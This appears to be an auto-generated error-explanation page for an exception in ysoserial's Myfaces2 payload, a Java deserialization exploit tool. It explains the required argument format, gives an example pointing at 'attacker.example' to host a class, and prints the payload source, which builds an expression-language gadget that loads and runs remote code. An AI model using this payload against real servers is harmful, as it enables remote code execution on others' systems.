frohoff/ysoserial · error · IllegalArgumentException

Command format is

Error message

Command format is: <base_url>:<classname>

What it means

Myfaces2 payload's getObject() splits the command on the last ':' to obtain a base URL (where a TemplateBeans class is hosted) and a class name. With no ':' present it cannot assemble the expression-language gadget and throws IllegalArgumentException with the usage message.

Solutions

  1. Pass '<base_url>:<classname>', e.g. 'http://attacker:8080/:TemplateBeans'
  2. Ensure the class is actually served at the given base URL before generating the payload
  3. Quote the argument in the shell so ':' and ';' are preserved

Example fix

// before
new Myfaces2().getObject("TemplateBeans");
// after
new Myfaces2().getObject("http://attacker.example:8080/:TemplateBeans");
Defensive patterns

Strategy: validation

Validate before calling

if (command.lastIndexOf(':') < 0) throw new IllegalArgumentException("expected <base_url>:<classname>");

Try / catch

try { obj = new Myfaces2().getObject(cmd); } catch (IllegalArgumentException e) { usage(e.getMessage()); }

Prevention

When it happens

Trigger: Calling Myfaces2.getObject(command) with a string lacking ':' — e.g. only a class name or only a URL.

Common situations: Forgetting to host the class and include its URL; URL-encoding or stripping the colon in shell quoting; copying a command format from Myfaces1 which uses a different argument shape.

Understand the failure class

Background: "Invalid ... format", "must be in format X", "does not look like a ..." — invalid argument format errors across CLI tools and libraries — this error's family across 17 libraries.

Related errors


AI-assisted analysis of frohoff/ysoserial@218bcffcaa (2026-09-12). Data as JSON: /api/errors/67c365fbac459832. Report an issue: GitHub.

Appendix: source

Thrown at src/main/java/ysoserial/payloads/Myfaces2.java:47

 *
 * @author mbechler
 */
@PayloadTest(harness="ysoserial.test.payloads.MyfacesTest", precondition = "isApplicableJavaVersion")
@Authors({ Authors.MBECHLER })
public class Myfaces2 implements ObjectPayload<Object>, DynamicDependencies {
    public static boolean isApplicableJavaVersion() {
        return JavaVersion.isAtLeast(7);
    }

    public static String[] getDependencies () {
        return Myfaces1.getDependencies();
    }


    public Object getObject ( String command ) throws Exception {
        int sep = command.lastIndexOf(':');
        if ( sep < 0 ) {
            throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
        }

        String url = command.substring(0, sep);
        String className = command.substring(sep + 1);

        // based on http://danamodio.com/appsec/research/spring-remote-code-with-expression-language-injection/
        String expr = "${request.setAttribute('arr',''.getClass().forName('java.util.ArrayList').newInstance())}";

        // if we add fewer than the actual classloaders we end up with a null entry
        for ( int i = 0; i < 100; i++ ) {
            expr += "${request.getAttribute('arr').add(request.servletContext.getResource('/').toURI().create('" + url + "').toURL())}";
        }
        expr += "${request.getClass().getClassLoader().newInstance(request.getAttribute('arr')"
                + ".toArray(request.getClass().getClassLoader().getURLs())).loadClass('" + className + "').newInstance()}";

        return Myfaces1.makeExpressionPayload(expr);
    }

View on GitHub (pinned to 218bcffcaa)